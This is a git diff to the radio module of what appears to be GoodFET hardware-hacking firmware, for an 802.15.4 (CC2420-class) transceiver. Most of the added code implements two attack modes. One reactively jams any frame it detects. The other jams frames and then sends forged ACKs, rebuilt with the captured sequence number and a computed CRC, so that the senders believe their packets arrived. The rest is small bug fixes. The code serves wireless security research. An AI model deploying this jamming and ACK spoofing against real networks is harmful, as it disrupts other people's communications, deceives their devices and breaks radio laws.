X-Git-Url: http://git.rot13.org/?p=goodfet;a=blobdiff_plain;f=firmware%2Fapps%2Fradios%2Fccspi.c;h=df99cedee74229c38348c9bd9de31f063016e051;hp=f47e54c9dc42a77cf5d31a8e56ad57f97c685ce3;hb=488bacac294141af99fbec482db6ca21b8019a5e;hpb=0c53a410a2d82927261d39e74cd98ecc6b6eebf1

diff --git a/firmware/apps/radios/ccspi.c b/firmware/apps/radios/ccspi.c
index f47e54c..df99ced 100644
--- a/firmware/apps/radios/ccspi.c
+++ b/firmware/apps/radios/ccspi.c
@@ -12,7 +12,7 @@
 
 #include "platform.h"
 #include "command.h"
-
+#include <stdlib.h> //added for itoa
 #include <signal.h>
 #include <io.h>
 #include <iomacros.h>
@@ -140,7 +140,7 @@ void ccspi_handle_fn( uint8_t const app,
     break;
   case CCSPI_RX:
 #ifdef FIFOP
-     //Has there been an overflow?
+    //Has there been an overflow?
     if((!FIFO)&&FIFOP){
       debugstr("Clearing overflow");
       CLRSS;
@@ -159,14 +159,16 @@ void ccspi_handle_fn( uint8_t const app,
       //ccspitrans8(0x3F|0x40);
       cmddata[0]=0xff; //to be replaced with length
       for(i=0;i<cmddata[0]+2;i++)
-	cmddata[i]=ccspitrans8(0xde);
+        cmddata[i]=ccspitrans8(0xde);
       SETSS;
       
       //Flush buffer.
       CLRSS;
       ccspitrans8(0x08); //SFLUSHRX
       SETSS;
-      txdata(app,verb,cmddata[0]+2);
+      //Only should transmit length of one more than the reported
+      // length of the frame, which holds the length byte:
+      txdata(app,verb,cmddata[0]+1);
     }else{
       //No packet.
       txdata(app,verb,0);
@@ -184,12 +186,167 @@ void ccspi_handle_fn( uint8_t const app,
     
     txdata(app,verb,0);
     break;
+
   case CCSPI_REFLEX:
-    debugstr("Coming soon.");
-    txdata(app,verb,0);
+#if defined(FIFOP) && defined(SFD) && defined(FIFO) && defined(PLED2DIR) && defined(PLED2PIN) && defined(PLED2OUT)
+    txdata(app,verb,1);  //Just sending some response back to client
+    while(1) {
+        //Wait until a packet is received
+        while(!SFD);
+        //Turn on LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT &= ~PLED2PIN;
+
+        //Put radio in TX mode
+        CLRSS;
+        ccspitrans8(0x04);
+        SETSS;
+
+        //Load the jamming packet.
+        //Note: attempts to preload this actually slowed the jam time down from 7 to 9 bytes.
+        CLRSS;
+        ccspitrans8(CCSPI_TXFIFO);
+        char pkt[15] = {0x0f, 0x01, 0x08, 0x82, 0xff, 0xff, 0xff, 0xff, 0xde, 0xad, 0xbe, 0xef, 0xba, 0xbe, 0xc0};
+        //char pkt[12] = {0x0c, 0x01, 0x08, 0x82, 0xff, 0xff, 0xff, 0xff, 0xde, 0xad, 0xbe, 0xef};
+        for(i=0;i<pkt[0];i++)
+          ccspitrans8(pkt[i]);
+        SETSS;
+
+        //Transmit the packet.
+        CLRSS;
+        ccspitrans8(0x04); //STXON
+        SETSS;
+        msdelay(100);      //Instead of waiting for pulse on SFD
+        //Flush TX buffer.
+        CLRSS;
+        ccspitrans8(0x09); //SFLUSHTX
+        SETSS;
+
+        //Turn off LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT |= PLED2PIN;
+    }
+    //TODO the firmware stops staying in this mode after a while, and stops jamming... need to find a fix.
+    break;
+#else
+    debugstr("Can't reflexively jam without SFD, FIFO, FIFOP, and P2LEDx definitions - try using telosb platform.");
+    txdata(app,NOK,0);
+#endif
+
+  case CCSPI_REFLEX_AUTOACK:
+#if defined(FIFOP) && defined(SFD) && defined(FIFO) && defined(PLED2DIR) && defined(PLED2PIN) && defined(PLED2OUT)
+    //txdata(app, verb, 1);
+    debugstr("AutoACK");
+    char byte[4];
+    while(1) {
+        //Has there been an overflow in the RX buffer?
+        if((!FIFO)&&FIFOP){
+          //debugstr("Clearing overflow");
+          CLRSS;
+          ccspitrans8(0x08); //SFLUSHRX
+          SETSS;
+        }
+
+        //Wait until a packet is received
+        while(!SFD);
+        //Turn on LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT &= ~PLED2PIN;
+
+        //Put radio in TX mode
+        //Note: Not doing this slows down jamming, so can't jam short packets.
+        //      However, if we do this, it seems to mess up our RXFIFO ability.
+        //CLRSS;
+        //ccspitrans8(0x04);
+        //SETSS;
+        //Load the jamming packet
+        CLRSS;
+        ccspitrans8(CCSPI_TXFIFO);
+        char pkt[7] = {0x07, 0x01, 0x08, 0xff, 0xff, 0xff, 0xff};
+        for(i=0;i<pkt[0];i++)
+          ccspitrans8(pkt[i]);
+        SETSS;
+        //Transmit the jamming packet
+        CLRSS;
+        ccspitrans8(0x04);  //STXON
+        SETSS;
+        msdelay(200);       //Instead of examining SFD line status
+        //Flush TX buffer.
+        CLRSS;
+        ccspitrans8(0x09);  //SFLUSHTX
+        SETSS;
+
+        //Get the orignally received packet, up to the seqnum field.
+        CLRSS;
+        ccspitrans8(CCSPI_RXFIFO | 0x40);
+        for(i=0;i<4;i++)
+            cmddata[i]=ccspitrans8(0xde);
+        SETSS;
+        //Flush RX buffer.
+        CLRSS;
+        ccspitrans8(0x08); //SFLUSHRX
+        SETSS;
+        //Send the sequence number of the jammed packet back to the client
+        //itoa(cmddata[3], byte, 16);
+        //debugstr(byte);
+        //txdata(app,verb,cmddata[3]);
+
+        //TODO turn on AUTOCRC for it to apply to the TX???
+        //     this may overcome issues of bad crc / length issues?
+        //mdmctrl0 (0x11) register set bit 5 to true.
+
+        //Create the forged ACK packet
+        cmddata[0] = 6;     //length of ack frame plus length
+        cmddata[1] = 0x02;  //first byte of FCF
+        cmddata[2] = 0x00;  //second byte of FCF
+        //[3] is already filled with the sequence number
+        int crc = 0;
+        for(i=1;i<4;i++) {
+            int c = cmddata[i];
+            int q = (crc ^ c) & 15;   		//Do low-order 4 bits
+            crc = (crc / 16) ^ (q * 4225);
+            q = (crc ^ (c / 16)) & 15;		//And high 4 bits
+            crc = (crc / 16) ^ (q * 4225);
+        }
+        cmddata[4] = crc & 0xFF;
+        cmddata[5] = (crc >> 8) & 0xFF;
+
+        for(i=0;i<cmddata[0];i++) {
+            itoa(cmddata[i], byte, 16);
+            debugstr(byte);
+        }
+        //Load the forged ACK packet
+        CLRSS;
+        ccspitrans8(CCSPI_TXFIFO);
+        for(i=0;i<cmddata[0];i++)
+          ccspitrans8(cmddata[i]);
+        SETSS;
+        //Transmit the forged ACK packet
+        while(SFD);
+        CLRSS;
+        ccspitrans8(0x04);  //STXON
+        SETSS;
+        msdelay(200);       //TODO try doing this based on SFD line status instead
+        //Flush TX buffer
+        CLRSS;
+        ccspitrans8(0x09);  //SFLUSHTX
+        SETSS;
+
+        //TODO disable AUTOCRC here again to go back to promiscous mode
+
+        //Turn off LED 2 (green) as signal
+	    PLED2DIR |= PLED2PIN;
+	    PLED2OUT |= PLED2PIN;
+    }
+    //TODO the firmware stops staying in this mode after a while, and stops jamming... need to find a fix.
+#else
+    debugstr("Can't reflexively jam without SFD, FIFO, FIFOP, and P2LEDx definitions - try using telosb platform.");
+    txdata(app,NOK,0);
+#endif
     break;
+
   case CCSPI_TX_FLUSH:
-     //Flush the buffer.
+    //Flush the buffer.
     CLRSS;
     ccspitrans8(CCSPI_SFLUSHTX);
     SETSS;
@@ -199,16 +356,6 @@ void ccspi_handle_fn( uint8_t const app,
   case CCSPI_TX:
 #ifdef FIFOP
     
-    /* //Has there been an overflow?
-    if(ccspi_status()&BIT5){
-      debugstr("Clearing underflow");
-      CLRSS;
-      ccspitrans8(0x09); //SFLUSHTX
-      SETSS;
-    } 
-    */
-    
-        
     //Wait for last packet to TX.
     //while(ccspi_status()&BIT3);
     
@@ -224,6 +371,14 @@ void ccspi_handle_fn( uint8_t const app,
     ccspitrans8(0x04); //STXON
     SETSS;
     
+    //Wait for the pulse on SFD, after which the packet has been sent.
+    while(!SFD);
+    while(SFD);
+    
+    //Flush TX buffer.
+    CLRSS;
+    ccspitrans8(0x09); //SFLUSHTX
+    SETSS;
     
     txdata(app,verb,0);
 #else
@@ -236,6 +391,5 @@ void ccspi_handle_fn( uint8_t const app,
     txdata(app,verb,0);
     break;
   }
-  
 
 }